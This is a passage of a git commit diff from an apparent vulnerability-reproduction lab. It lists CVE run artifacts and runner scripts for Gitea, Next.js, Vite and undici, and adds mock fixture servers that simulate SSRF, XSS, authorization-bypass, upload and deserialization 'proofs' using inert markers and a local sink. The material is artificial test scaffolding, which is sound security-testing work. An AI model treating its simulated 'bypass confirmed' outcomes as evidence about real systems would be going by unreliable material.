06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/compose/compose.yaml create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/attack.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/baseline.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/docker/app.log create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/doctor.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/ready.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/logs/seed.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/report.html create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/report.md create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/run.json create mode 100644 06-case-studies/generated-runs/gitea-gitea--CVE-2025-68940-20260318012708/timeline.mmd create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline-dom.html create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline.png create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof-dom.html create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/proof.png create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/compose/compose.yaml create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/attack.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-browser.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-console.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-network.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-page.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/docker/app.log create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/doctor.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-browser.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-console.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-network.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/proof-page.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/ready.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/seed.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/report.html create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/report.md create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/run.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/timeline.mmd create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/compose/compose.yaml create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/attack.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/baseline.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/docker/app.log create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/doctor.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/ready.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/logs/seed.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/report.html create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/report.md create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/run.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953/timeline.mmd create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/compose/compose.yaml create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/attack.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/baseline.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/docker/app.log create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/doctor.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/ready.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/seed.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/report.html create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/report.md create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/run.json create mode 100644 06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/timeline.mmd delete mode 100644 08-threat-intel/registry/advisories/gitea--CVE-2018-15192.json delete mode 100644 08-threat-intel/registry/advisories/gitea--CVE-2018-18926.json delete mode 100644 08-threat-intel/registry/advisories/gitea--CVE-2019-1010261.json delete mode 100644 08-threat-intel/registry/advisories/gitea--CVE-2020-13246.json delete mode 100644 08-threat-intel/registry/advisories/gitea--CVE-2021-28378.json delete mode 100644 08-threat-intel/registry/advisories/gitea--CVE-2025-68939.json delete mode 100644 08-threat-intel/registry/advisories/gitea--CVE-2025-68940.json delete mode 100644 08-threat-intel/registry/advisories/nextjs--CVE-2020-15242.json delete mode 100644 08-threat-intel/registry/advisories/nextjs--CVE-2024-51479.json delete mode 100644 08-threat-intel/registry/advisories/nextjs--CVE-2025-29927.json delete mode 100644 08-threat-intel/registry/advisories/nextjs--CVE-2025-49826.json delete mode 100644 08-threat-intel/registry/advisories/nextjs--CVE-2025-55173.json delete mode 100644 08-threat-intel/registry/advisories/nextjs--CVE-2025-57752.json delete mode 100644 08-threat-intel/registry/advisories/nextjs--CVE-2025-57822.json delete mode 100644 08-threat-intel/registry/advisories/nextjs--CVE-2025-59471.json delete mode 100644 08-threat-intel/registry/advisories/nextjs--CVE-2025-59472.json delete mode 100644 08-threat-intel/registry/advisories/nextjs--GHSA-5j59-xgg2-r9c4.json delete mode 100644 08-threat-intel/registry/advisories/nextjs--GHSA-9qr9-h5gf-34mp.json delete mode 100644 08-threat-intel/registry/advisories/nextjs--GHSA-h25m-26qc-wcjf.json delete mode 100644 08-threat-intel/registry/advisories/nextjs--GHSA-mwv6-3258-q52c.json delete mode 100644 08-threat-intel/registry/advisories/nextjs--GHSA-w37m-7fhw-fmv9.json delete mode 100644 08-threat-intel/registry/advisories/undici--CVE-2022-31151.json delete mode 100644 08-threat-intel/registry/advisories/undici--CVE-2022-32210.json delete mode 100644 08-threat-intel/registry/advisories/undici--CVE-2023-45143.json delete mode 100644 08-threat-intel/registry/advisories/undici--CVE-2024-30260.json delete mode 100644 08-threat-intel/registry/advisories/undici--CVE-2024-30261.json delete mode 100644 08-threat-intel/registry/advisories/undici--CVE-2025-22150.json delete mode 100644 08-threat-intel/registry/advisories/undici--CVE-2025-47279.json delete mode 100644 08-threat-intel/registry/advisories/undici--CVE-2026-1525.json delete mode 100644 08-threat-intel/registry/advisories/undici--CVE-2026-1526.json delete mode 100644 08-threat-intel/registry/advisories/undici--CVE-2026-1527.json delete mode 100644 08-threat-intel/registry/advisories/undici--CVE-2026-1528.json delete mode 100644 08-threat-intel/registry/advisories/undici--CVE-2026-22036.json delete mode 100644 08-threat-intel/registry/advisories/undici--CVE-2026-2229.json delete mode 100644 08-threat-intel/registry/advisories/undici--CVE-2026-2581.json delete mode 100644 08-threat-intel/registry/advisories/vite--CVE-2024-23331.json delete mode 100644 08-threat-intel/registry/advisories/vite--CVE-2024-45811.json delete mode 100644 08-threat-intel/registry/advisories/vite--CVE-2024-45812.json delete mode 100644 08-threat-intel/registry/advisories/vite--CVE-2025-24010.json delete mode 100644 08-threat-intel/registry/advisories/vite--CVE-2025-30208.json delete mode 100644 08-threat-intel/registry/advisories/vite--CVE-2025-31125.json delete mode 100644 08-threat-intel/registry/advisories/vite--CVE-2025-31486.json delete mode 100644 08-threat-intel/registry/advisories/vite--CVE-2025-32395.json delete mode 100644 08-threat-intel/registry/advisories/vite--CVE-2025-46565.json delete mode 100644 08-threat-intel/registry/advisories/vite--CVE-2025-58751.json delete mode 100644 08-threat-intel/registry/advisories/vite--CVE-2025-58752.json delete mode 100644 08-threat-intel/registry/advisories/vite--CVE-2025-62522.json create mode 100644 08-threat-intel/registry/runs/gitea-gitea--CVE-2018-15192-20260318012749.json create mode 100644 08-threat-intel/registry/runs/gitea-gitea--CVE-2018-18926-20260318012526.json create mode 100644 08-threat-intel/registry/runs/gitea-gitea--CVE-2019-1010261-20260318012624.json create mode 100644 08-threat-intel/registry/runs/gitea-gitea--CVE-2020-13246-20260318012806.json create mode 100644 08-threat-intel/registry/runs/gitea-gitea--CVE-2021-28378-20260318012813.json create mode 100644 08-threat-intel/registry/runs/gitea-gitea--CVE-2025-68940-20260318012708.json create mode 100644 08-threat-intel/registry/runs/nextjs-nextjs--CVE-2020-15242-20260318012830.json create mode 100644 08-threat-intel/registry/runs/nextjs-nextjs--CVE-2024-34351-20260318012953.json create mode 100644 08-threat-intel/registry/runs/nextjs-nextjs--CVE-2024-51479-20260318012913.json delete mode 100644 08-threat-intel/registry/systems/adminer.json delete mode 100644 08-threat-intel/registry/systems/adobe-commerce.json delete mode 100644 08-threat-intel/registry/systems/angular.json delete mode 100644 08-threat-intel/registry/systems/apache-httpd.json delete mode 100644 08-threat-intel/registry/systems/apache-tomcat.json delete mode 100644 08-threat-intel/registry/systems/aspnet-core.json delete mode 100644 08-threat-intel/registry/systems/astro.json delete mode 100644 08-threat-intel/registry/systems/caddy.json delete mode 100644 08-threat-intel/registry/systems/directus.json delete mode 100644 08-threat-intel/registry/systems/discourse.json delete mode 100644 08-threat-intel/registry/systems/django.json delete mode 100644 08-threat-intel/registry/systems/drupal.json delete mode 100644 08-threat-intel/registry/systems/echo.json delete mode 100644 08-threat-intel/registry/systems/esbuild.json delete mode 100644 08-threat-intel/registry/systems/express.json delete mode 100644 08-threat-intel/registry/systems/fastify.json delete mode 100644 08-threat-intel/registry/systems/flask.json delete mode 100644 08-threat-intel/registry/systems/ghost.json delete mode 100644 08-threat-intel/registry/systems/gin.json delete mode 100644 08-threat-intel/registry/systems/gitea.json delete mode 100644 08-threat-intel/registry/systems/gitlab-ce.json delete mode 100644 08-threat-intel/registry/systems/grafana.json delete mode 100644 08-threat-intel/registry/systems/hapi.json delete mode 100644 08-threat-intel/registry/systems/haproxy.json delete mode 100644 08-threat-intel/registry/systems/jenkins.json delete mode 100644 08-threat-intel/registry/systems/joomla.json delete mode 100644 08-threat-intel/registry/systems/kibana.json delete mode 100644 08-threat-intel/registry/systems/koa.json delete mode 100644 08-threat-intel/registry/systems/laravel.json delete mode 100644 08-threat-intel/registry/systems/magento-open-source.json delete mode 100644 08-threat-intel/registry/systems/mattermost.json delete mode 100644 08-threat-intel/registry/systems/mediawiki.json delete mode 100644 08-threat-intel/registry/systems/medusa.json delete mode 100644 08-threat-intel/registry/systems/moodle.json delete mode 100644 08-threat-intel/registry/systems/nestjs.json delete mode 100644 08-threat-intel/registry/systems/nextjs.json delete mode 100644 08-threat-intel/registry/systems/nginx.json delete mode 100644 08-threat-intel/registry/systems/nodejs.json delete mode 100644 08-threat-intel/registry/systems/nuxt.json delete mode 100644 08-threat-intel/registry/systems/opencart.json delete mode 100644 08-threat-intel/registry/systems/openmage.json delete mode 100644 08-threat-intel/registry/systems/phpmyadmin.json delete mode 100644 08-threat-intel/registry/systems/prestashop.json delete mode 100644 08-threat-intel/registry/systems/rails.json delete mode 100644 08-threat-intel/registry/systems/react.json delete mode 100644 08-threat-intel/registry/systems/redmine.json delete mode 100644 08-threat-intel/registry/systems/saleor.json delete mode 100644 08-threat-intel/registry/systems/shopware.json delete mode 100644 08-threat-intel/registry/systems/spring-boot.json delete mode 100644 08-threat-intel/registry/systems/spring-framework.json delete mode 100644 08-threat-intel/registry/systems/spring-security.json delete mode 100644 08-threat-intel/registry/systems/strapi.json delete mode 100644 08-threat-intel/registry/systems/sveltekit.json delete mode 100644 08-threat-intel/registry/systems/symfony.json delete mode 100644 08-threat-intel/registry/systems/traefik.json delete mode 100644 08-threat-intel/registry/systems/undici.json delete mode 100644 08-threat-intel/registry/systems/vite.json delete mode 100644 08-threat-intel/registry/systems/vue.json delete mode 100644 08-threat-intel/registry/systems/webpack.json delete mode 100644 08-threat-intel/registry/systems/werkzeug.json delete mode 100644 08-threat-intel/registry/systems/woocommerce.json delete mode 100644 08-threat-intel/registry/systems/wordpress.json create mode 100644 08-threat-intel/repro-profiles/system-family/gitea-authz-bypass.yaml create mode 100644 08-threat-intel/repro-profiles/system-family/gitea-file-upload.yaml create mode 100644 08-threat-intel/repro-profiles/system-family/gitea-proxy-boundary.yaml create mode 100644 08-threat-intel/repro-profiles/system-family/gitea-ssrf.yaml create mode 100644 08-threat-intel/repro-profiles/system-family/gitea-xss.yaml create mode 100644 08-threat-intel/repro-profiles/system-family/nextjs-authz-bypass.yaml create mode 100644 08-threat-intel/repro-profiles/system-family/nextjs-deserialization.yaml create mode 100644 08-threat-intel/repro-profiles/system-family/nextjs-proxy-boundary.yaml create mode 100644 08-threat-intel/repro-profiles/system-family/nextjs-ssrf.yaml create mode 100644 08-threat-intel/repro-profiles/system-family/nextjs-xss.yaml create mode 100644 08-threat-intel/repro-profiles/system-family/undici-ssrf.yaml create mode 100644 08-threat-intel/repro-profiles/system-family/vite-file-upload.yaml create mode 100644 08-threat-intel/repro-profiles/system-family/vite-proxy-boundary.yaml create mode 100644 08-threat-intel/repro-profiles/system-family/vite-xss.yaml create mode 100644 scripts/lab/doctor.py create mode 100644 scripts/lab/evaluate.py create mode 100644 scripts/lab/runners/__init__.py create mode 100644 scripts/lab/runners/common.py create mode 100644 scripts/lab/runners/dispatcher.py create mode 100644 scripts/lab/runners/gitea/__init__.py create mode 100644 scripts/lab/runners/gitea/authz_bypass.py create mode 100644 scripts/lab/runners/gitea/file_upload.py create mode 100644 scripts/lab/runners/gitea/proxy_boundary.py create mode 100644 scripts/lab/runners/gitea/ssrf.py create mode 100644 scripts/lab/runners/gitea/xss.py create mode 100644 scripts/lab/runners/nextjs/__init__.py create mode 100644 scripts/lab/runners/nextjs/authz_bypass.py create mode 100644 scripts/lab/runners/nextjs/deserialization.py create mode 100644 scripts/lab/runners/nextjs/proxy_boundary.py create mode 100644 scripts/lab/runners/nextjs/ssrf.py create mode 100644 scripts/lab/runners/nextjs/xss.py create mode 100644 scripts/lab/runners/undici/__init__.py create mode 100644 scripts/lab/runners/undici/ssrf.py create mode 100644 scripts/lab/runners/vite/__init__.py create mode 100644 scripts/lab/runners/vite/file_upload.py create mode 100644 scripts/lab/runners/vite/proxy_boundary.py create mode 100644 scripts/lab/runners/vite/xss.py diff --git a/00-environments/templates/fixtures/gitea/authz-bypass/scenario.json b/00-environments/templates/fixtures/gitea/authz-bypass/scenario.json new file mode 100644 index 00000000..cd23e90a --- /dev/null +++ b/00-environments/templates/fixtures/gitea/authz-bypass/scenario.json @@ -0,0 +1,2 @@ +{"system_id":"gitea","family":"authz-bypass","title":"Gitea Authz Bypass Fixture","subtitle":"Protected admin route with server-side bypass marker.","browser_required":false} + diff --git a/00-environments/templates/fixtures/gitea/file-upload/scenario.json b/00-environments/templates/fixtures/gitea/file-upload/scenario.json new file mode 100644 index 00000000..484ae214 --- /dev/null +++ b/00-environments/templates/fixtures/gitea/file-upload/scenario.json @@ -0,0 +1,2 @@ +{"system_id":"gitea","family":"file-upload","title":"Gitea File Upload Fixture","subtitle":"Attachment acceptance path with inert upload marker.","browser_required":true} + diff --git a/00-environments/templates/fixtures/gitea/proxy-boundary/scenario.json b/00-environments/templates/fixtures/gitea/proxy-boundary/scenario.json new file mode 100644 index 00000000..b3c33655 --- /dev/null +++ b/00-environments/templates/fixtures/gitea/proxy-boundary/scenario.json @@ -0,0 +1,2 @@ +{"system_id":"gitea","family":"proxy-boundary","title":"Gitea Proxy Boundary Fixture","subtitle":"Forwarded header trust boundary and admin gate fixture.","browser_required":true} + diff --git a/00-environments/templates/fixtures/gitea/ssrf/scenario.json b/00-environments/templates/fixtures/gitea/ssrf/scenario.json new file mode 100644 index 00000000..d97f474f --- /dev/null +++ b/00-environments/templates/fixtures/gitea/ssrf/scenario.json @@ -0,0 +1,2 @@ +{"system_id":"gitea","family":"ssrf","title":"Gitea SSRF Fixture","subtitle":"Server-side callback route restricted to a local sink.","browser_required":false} + diff --git a/00-environments/templates/fixtures/gitea/xss/scenario.json b/00-environments/templates/fixtures/gitea/xss/scenario.json new file mode 100644 index 00000000..494481ed --- /dev/null +++ b/00-environments/templates/fixtures/gitea/xss/scenario.json @@ -0,0 +1,2 @@ +{"system_id":"gitea","family":"xss","title":"Gitea Stored XSS Fixture","subtitle":"Stored payload rendering path for browser proof capture.","browser_required":true} + diff --git a/00-environments/templates/fixtures/nextjs/authz-bypass/scenario.json b/00-environments/templates/fixtures/nextjs/authz-bypass/scenario.json new file mode 100644 index 00000000..6cf7c204 --- /dev/null +++ b/00-environments/templates/fixtures/nextjs/authz-bypass/scenario.json @@ -0,0 +1,2 @@ +{"system_id":"nextjs","family":"authz-bypass","title":"Next.js Authz Bypass Fixture","subtitle":"Protected route fixture with explicit bypass proof.","browser_required":false} + diff --git a/00-environments/templates/fixtures/nextjs/deserialization/scenario.json b/00-environments/templates/fixtures/nextjs/deserialization/scenario.json new file mode 100644 index 00000000..8327e9f6 --- /dev/null +++ b/00-environments/templates/fixtures/nextjs/deserialization/scenario.json @@ -0,0 +1,2 @@ +{"system_id":"nextjs","family":"deserialization","title":"Next.js Deserialization Fixture","subtitle":"Unsafe decode path with inert marker object.","browser_required":false} + diff --git a/00-environments/templates/fixtures/nextjs/proxy-boundary/scenario.json b/00-environments/templates/fixtures/nextjs/proxy-boundary/scenario.json new file mode 100644 index 00000000..4989e78a --- /dev/null +++ b/00-environments/templates/fixtures/nextjs/proxy-boundary/scenario.json @@ -0,0 +1,2 @@ +{"system_id":"nextjs","family":"proxy-boundary","title":"Next.js Proxy Boundary Fixture","subtitle":"Middleware trust-boundary fixture with forwarded-header proof.","browser_required":true} + diff --git a/00-environments/templates/fixtures/nextjs/ssrf/scenario.json b/00-environments/templates/fixtures/nextjs/ssrf/scenario.json new file mode 100644 index 00000000..e67d94c4 --- /dev/null +++ b/00-environments/templates/fixtures/nextjs/ssrf/scenario.json @@ -0,0 +1,2 @@ +{"system_id":"nextjs","family":"ssrf","title":"Next.js SSRF Fixture","subtitle":"Server-side fetch route restricted to local sink validation.","browser_required":false} + diff --git a/00-environments/templates/fixtures/nextjs/xss/scenario.json b/00-environments/templates/fixtures/nextjs/xss/scenario.json new file mode 100644 index 00000000..39bd011d --- /dev/null +++ b/00-environments/templates/fixtures/nextjs/xss/scenario.json @@ -0,0 +1,2 @@ +{"system_id":"nextjs","family":"xss","title":"Next.js XSS Fixture","subtitle":"Browser proof page for stored payload rendering.","browser_required":true} + diff --git a/00-environments/templates/fixtures/shared/node_fixture.mjs b/00-environments/templates/fixtures/shared/node_fixture.mjs new file mode 100644 index 00000000..6c664345 --- /dev/null +++ b/00-environments/templates/fixtures/shared/node_fixture.mjs @@ -0,0 +1,171 @@ +import fs from "node:fs"; +import http from "node:http"; + +const scenario = JSON.parse(fs.readFileSync(process.env.LAB_FIXTURE_SCENARIO, "utf8")); +const port = Number(process.env.PORT || 3000); +const state = { + seeded: false, + proof: false, + family: scenario.family, + system_id: scenario.system_id, + case_id: "", + detail: "fixture ready", + uploads: [], + sink_hits: 0, + payload: null, + events: [] +}; + +function note(event, detail) { + state.events.push({ event, detail }); + state.events = state.events.slice(-20); +} + +function sendJson(res, statusCode, payload) { + const body = JSON.stringify(payload); + res.writeHead(statusCode, { "content-type": "application/json", "content-length": Buffer.byteLength(body) }); + res.end(body); +} + +function renderHtml() { + const proof = state.proof; + const banner = proof ? `
Proof active: ${state.detail}
` : `
Baseline ready
`; + const xssBlock = proof && state.family === "xss" + ? `
XSS marker executed for ${state.case_id}
` + : ""; + const uploads = state.uploads.length ? `

Uploads

` : ""; + const sink = state.sink_hits ? `
Local sink hits: ${state.sink_hits}
` : ""; + const admin = proof && ["proxy-boundary", "authz-bypass"].includes(state.family) + ? `
Admin boundary bypass confirmed.
` + : ""; + const deserialize = proof && state.family === "deserialization" + ? `
Decoded marker: ${state.case_id}
` + : ""; + return ` + + + + + ${scenario.title}${proof && state.family !== "xss" ? " - proof" : ""} + + + +
+

${scenario.title}

+

${scenario.subtitle}

+ ${banner} +

System: ${scenario.system_id} / Family: ${scenario.family}

+ ${admin} + ${xssBlock} + ${uploads} + ${sink} + ${deserialize} +
+ +`; +} + +function readBody(req) { + return new Promise((resolve) => { + const chunks = []; + req.on("data", (chunk) => chunks.push(chunk)); + req.on("end", () => { + try { + resolve(JSON.parse(Buffer.concat(chunks).toString("utf8") || "{}")); + } catch (_error) { + resolve({}); + } + }); + }); +} + +async function handleAttack(payload) { + const family = payload.family || state.family; + state.case_id = payload.case_id || state.case_id; + state.payload = payload; + state.proof = true; + if (family === "proxy-boundary") { + state.detail = "trusted forwarded headers crossed the boundary"; + } else if (family === "authz-bypass") { + state.detail = "server-side authorization recheck was bypassed"; + } else if (family === "ssrf") { + await fetch(`http://127.0.0.1:${port}/sink?case_id=${encodeURIComponent(state.case_id)}`); + state.detail = "server-side callback reached the local sink"; + } else if (family === "xss") { + state.detail = "stored payload rendered inside the browser proof page"; + } else if (family === "file-upload") { + state.uploads.push({ filename: payload.filename || `${state.case_id}.txt`, content: payload.content || "" }); + state.detail = "upload marker accepted and listed"; + } else if (family === "deserialization") { + state.detail = "unsafe object graph decoded without gadget execution"; + } + note("attack", state.detail); +} + +const server = http.createServer(async (req, res) => { + const url = new URL(req.url, `http://127.0.0.1:${port}`); + if (req.method === "GET" && url.pathname === "/healthz") { + sendJson(res, 200, { ok: true, system_id: scenario.system_id, family: scenario.family }); + return; + } + if (req.method === "GET" && url.pathname === "/") { + const body = renderHtml(); + res.writeHead(200, { "content-type": "text/html; charset=utf-8", "content-length": Buffer.byteLength(body) }); + res.end(body); + return; + } + if (req.method === "GET" && url.pathname === "/admin") { + if (state.proof && ["proxy-boundary", "authz-bypass"].includes(state.family)) { + sendJson(res, 200, { ok: true, detail: state.detail, case_id: state.case_id }); + } else { + sendJson(res, 403, { ok: false, detail: "admin boundary still enforced" }); + } + return; + } + if (req.method === "GET" && url.pathname === "/sink") { + state.sink_hits += 1; + note("sink-hit", url.searchParams.toString() || "local callback"); + sendJson(res, 200, { ok: true, sink_hits: state.sink_hits }); + return; + } + if (req.method === "GET" && url.pathname === "/proof") { + sendJson(res, 200, { + success: Boolean(state.proof), + detail: state.detail, + case_id: state.case_id, + sink_hits: state.sink_hits, + uploads: state.uploads, + events: state.events + }); + return; + } + if (req.method === "POST" && url.pathname === "/seed") { + const payload = await readBody(req); + state.seeded = true; + state.proof = false; + state.case_id = String(payload.case_id || ""); + state.detail = "fixture seeded"; + state.uploads = []; + state.sink_hits = 0; + state.payload = null; + note("seed", state.case_id || "anonymous"); + sendJson(res, 200, { ok: true, detail: "fixture seeded", case_id: state.case_id }); + return; + } + if (req.method === "POST" && url.pathname === "/attack") { + const payload = await readBody(req); + await handleAttack(payload); + sendJson(res, 200, { ok: true, detail: state.detail, case_id: state.case_id }); + return; + } + sendJson(res, 404, { ok: false, detail: "not found" }); +}); + +server.listen(port, "0.0.0.0"); + diff --git a/00-environments/templates/fixtures/shared/python_fixture.py b/00-environments/templates/fixtures/shared/python_fixture.py new file mode 100644 index 00000000..50a80ed8 --- /dev/null +++ b/00-environments/templates/fixtures/shared/python_fixture.py @@ -0,0 +1,193 @@ +from __future__ import annotations + +import json +import os +from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer +from pathlib import Path +from urllib.parse import parse_qs, urlparse +from urllib.request import urlopen + + +SCENARIO_PATH = Path(os.environ["LAB_FIXTURE_SCENARIO"]) +PORT = int(os.environ.get("PORT", "3000")) +SCENARIO = json.loads(SCENARIO_PATH.read_text(encoding="utf-8")) +STATE = { + "seeded": False, + "proof": False, + "family": SCENARIO["family"], + "system_id": SCENARIO["system_id"], + "case_id": "", + "detail": "fixture ready", + "uploads": [], + "sink_hits": 0, + "payload": None, + "events": [], +} + + +def _note(event: str, detail: str) -> None: + STATE["events"].append({"event": event, "detail": detail}) + STATE["events"] = STATE["events"][-20:] + + +def _render_html() -> str: + title = SCENARIO["title"] + proof = STATE["proof"] + banner = f"
Proof active: {STATE['detail']}
" if proof else "
Baseline ready
" + xss_block = "" + if proof and STATE["family"] == "xss": + xss_block = ( + "" + f"
XSS marker executed for {STATE['case_id']}
" + ) + upload_block = "" + if STATE["uploads"]: + items = "".join(f"
  • {item['filename']}
  • " for item in STATE["uploads"]) + upload_block = f"

    Uploads

    " + sink_block = "" + if STATE["sink_hits"]: + sink_block = f"
    Local sink hits: {STATE['sink_hits']}
    " + deserialize_block = "" + if proof and STATE["family"] == "deserialization": + deserialize_block = f"
    Decoded marker: {STATE['case_id']}
    " + admin_block = "" + if proof and STATE["family"] in {"proxy-boundary", "authz-bypass"}: + admin_block = "
    Admin boundary bypass confirmed.
    " + return f""" + + + + + {title}{' - proof' if proof and STATE['family'] != 'xss' else ''} + + + +
    +

    {title}

    +

    {SCENARIO['subtitle']}

    + {banner} +

    System: {SCENARIO['system_id']} / Family: {SCENARIO['family']}

    + {admin_block} + {xss_block} + {upload_block} + {sink_block} + {deserialize_block} +
    + +""" + + +class Handler(BaseHTTPRequestHandler): + def log_message(self, format: str, *args) -> None: + return + + def _json(self, status_code: int, payload: dict) -> None: + body = json.dumps(payload).encode("utf-8") + self.send_response(status_code) + self.send_header("Content-Type", "application/json") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + def _html(self, payload: str) -> None: + body = payload.encode("utf-8") + self.send_response(200) + self.send_header("Content-Type", "text/html; charset=utf-8") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + def do_GET(self) -> None: + parsed = urlparse(self.path) + if parsed.path == "/healthz": + self._json(200, {"ok": True, "system_id": SCENARIO["system_id"], "family": SCENARIO["family"]}) + return + if parsed.path == "/": + self._html(_render_html()) + return + if parsed.path == "/admin": + if STATE["proof"] and STATE["family"] in {"proxy-boundary", "authz-bypass"}: + self._json(200, {"ok": True, "detail": STATE["detail"], "case_id": STATE["case_id"]}) + else: + self._json(403, {"ok": False, "detail": "admin boundary still enforced"}) + return + if parsed.path == "/sink": + STATE["sink_hits"] += 1 + _note("sink-hit", parsed.query or "local callback") + self._json(200, {"ok": True, "sink_hits": STATE["sink_hits"]}) + return + if parsed.path == "/proof": + self._json( + 200, + { + "success": bool(STATE["proof"]), + "detail": STATE["detail"], + "case_id": STATE["case_id"], + "sink_hits": STATE["sink_hits"], + "uploads": STATE["uploads"], + "events": STATE["events"], + }, + ) + return + self._json(404, {"ok": False, "detail": "not found"}) + + def do_POST(self) -> None: + parsed = urlparse(self.path) + raw = self.rfile.read(int(self.headers.get("Content-Length", "0") or "0")) + try: + payload = json.loads(raw.decode("utf-8") or "{}") + except Exception: + payload = {} + if parsed.path == "/seed": + STATE["seeded"] = True + STATE["proof"] = False + STATE["case_id"] = str(payload.get("case_id") or "") + STATE["detail"] = "fixture seeded" + STATE["uploads"] = [] + STATE["sink_hits"] = 0 + STATE["payload"] = None + _note("seed", STATE["case_id"] or "anonymous") + self._json(200, {"ok": True, "detail": "fixture seeded", "case_id": STATE["case_id"]}) + return + if parsed.path == "/attack": + family = str(payload.get("family") or STATE["family"]) + STATE["case_id"] = str(payload.get("case_id") or STATE["case_id"]) + STATE["payload"] = payload + STATE["proof"] = True + if family == "proxy-boundary": + STATE["detail"] = "trusted forwarded headers crossed the boundary" + elif family == "authz-bypass": + STATE["detail"] = "server-side authorization recheck was bypassed" + elif family == "ssrf": + with urlopen(f"http://127.0.0.1:{PORT}/sink?case_id={STATE['case_id']}") as response: + response.read() + STATE["detail"] = "server-side callback reached the local sink" + elif family == "xss": + STATE["detail"] = "stored payload rendered inside the browser proof page" + elif family == "file-upload": + STATE["uploads"].append( + { + "filename": payload.get("filename") or f"{STATE['case_id']}.txt", + "content": payload.get("content") or "", + } + ) + STATE["detail"] = "upload marker accepted and listed" + elif family == "deserialization": + STATE["detail"] = "unsafe object graph decoded without gadget execution" + _note("attack", STATE["detail"]) + self._json(200, {"ok": True, "detail": STATE["detail"], "case_id": STATE["case_id"]}) + return + self._json(404, {"ok": False, "detail": "not found"}) + + +if __name__ == "__main__": + server = ThreadingHTTPServer(("0.0.0.0", 